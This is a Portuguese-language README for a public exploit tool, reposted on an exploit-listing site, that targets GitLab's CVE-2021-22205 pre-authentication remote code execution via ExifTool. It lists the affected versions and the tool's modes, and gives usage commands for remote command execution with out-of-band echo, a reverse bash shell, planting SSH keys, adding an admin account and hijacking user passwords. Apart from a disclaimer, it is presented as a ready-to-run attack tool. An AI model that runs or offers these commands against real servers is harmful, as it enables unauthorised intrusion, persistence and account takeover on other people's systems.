Sploitus

Exploit for CVE-2021-22205

kitploit · 2026-08-26

Exploit Code

MARKDOWN89 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-INSPIRINGZ-CVE-2021-22205
# CVE-2021-22205

GitLab CE/EE Pré-autenticação RCE usando ExifTool

_Este projeto Ă© apenas para aprendizado, se os direitos de alguĂ©m foram violados, por favor entre em contato comigo para remover o projeto, e por Ășltimo**NÃO USE ILEGALMENTE**. Se vocĂȘ tiver algum comportamento ilegal ao usar esta ferramenta, vocĂȘ assumirĂĄ todas as consequĂȘncias. Todos os desenvolvedores e todos os colaboradores desta ferramenta nĂŁo assumem nenhuma responsabilidade legal ou conjunta._

## Descrição

Um problema foi descoberto no GitLab CE/EE afetando todas as versÔes a partir da 11.9. O GitLab não estava validando corretamente os arquivos de imagem que eram passados para um analisador de arquivos, resultando em uma execução remota de comandos.

VersÔes Afetadas:

  * >=11.9, <13.8.8
  * >=13.9, <13.9.6
  * >=13.10, <13.10.3



## Funcionalidades

  * Detecção da versão do Gitlab através do hash no Webpack manifest.json

  * InteraçÔes automåticas fora de banda com DNSLog & ~~PostBin~~ **RequestBin**

  * Suporte a Reverse Bash Shell / Adicionar Chave SSH ao authorized_keys

  * Suporte a ENTER para modificar e restaurar a senha do usuĂĄrio gitlab




## Uso

root@kitploit:~
    
    
    🐚 â€șâ€șâ€ș python CVE-2021-22205.py
    
          ░░░░▐▐░░░  CVE-2021-22205
     ▐  ░░░░░▄██▄▄  GitLab CE/EE Unauthenticated RCE using ExifTool
      ▀▀██████▀░░  Affecting all versions starting from 11.9
      ░░▐▐░░▐▐░░  security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
     ▒▒▒▐▐▒▒▐▐▒  github.com/inspiringz/CVE-2021-22205
    
    Usage:
        python3 CVE-2021-22205.py -u site_url -m detect        # gitlab version & vuln detect
        python3 CVE-2021-22205.py -u site_url -m rce1 'id'     # rce (echo via requestbin oob) 
        python3 CVE-2021-22205.py -u site_url -m rce2 'id'     # rce (echo via write file) *
        python3 CVE-2021-22205.py -u site_url -m rev ip port   # reverse bash shell
        python3 CVE-2021-22205.py -u site_url -m ssh git/root  # append ssh authorized_keys
        python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
        python3 CVE-2021-22205.py -u site_url -m mod user      # modify specified user's password => P4ss@GitLab
        python3 CVE-2021-22205.py -u site_url -m rec user      # restore specified user's original password
    

  * O formato do parĂąmetro `site_url`: http[s]://<domĂ­nio|ip>[:porta]/, por exemplo: https://example.com:9000/
  * Os métodos (rce2, add) marcados com `*` são inståveis, podem não funcionar :(
  * VocĂȘ pode modificar o conteĂșdo do script de acordo com o ambiente real



## Captura de tela

Detectar:

![image-20220116233646585](https://assets.kitploit.com/production/public/readmes/437/fafc2ddc2bd8c65b392723f3ba4f530617c164c607d7f753de29280e10785edb.png)

RCE (Echo via RequestBin OOB):

![image-20220116234003576](https://assets.kitploit.com/production/public/readmes/437/6180fad16692af7d61f3e6fb25155be4e162d1c686231c665761714c3e57f409.png)

Reverse Bash Shell:

![image-20211111131442470](https://assets.kitploit.com/production/public/readmes/437/14b16f178b8f459d3282aac67fa9c488a4c4bfd6f498c8a1ca7231b7e623ab2a.png)

Adicionar Chave SSH ao authorized_keys:

![image-20211111133555010](https://assets.kitploit.com/production/public/readmes/437/46833bb3e7c5e0366bd82c5923bc5c307f3d4486000ff4bc17a21eb9cbbe0db6.png)

Modificação e restauração da senha do usuårio Gitlab:

![image-20211111132115090](https://assets.kitploit.com/production/public/readmes/437/60118fa129f4bf02b21df594d89187b63aab3e20c4ac993e297363328d99e3c4.png)

## ReferĂȘncia

  * https://github.com/projectdiscovery/nuclei-templates/blob/637eec3efac6eb384742c7aaa4e7d14f3392ede9/cves/2021/CVE-2021-22205.yaml
  * https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22205.json
  * https://github.com/righel/gitlab-version-nse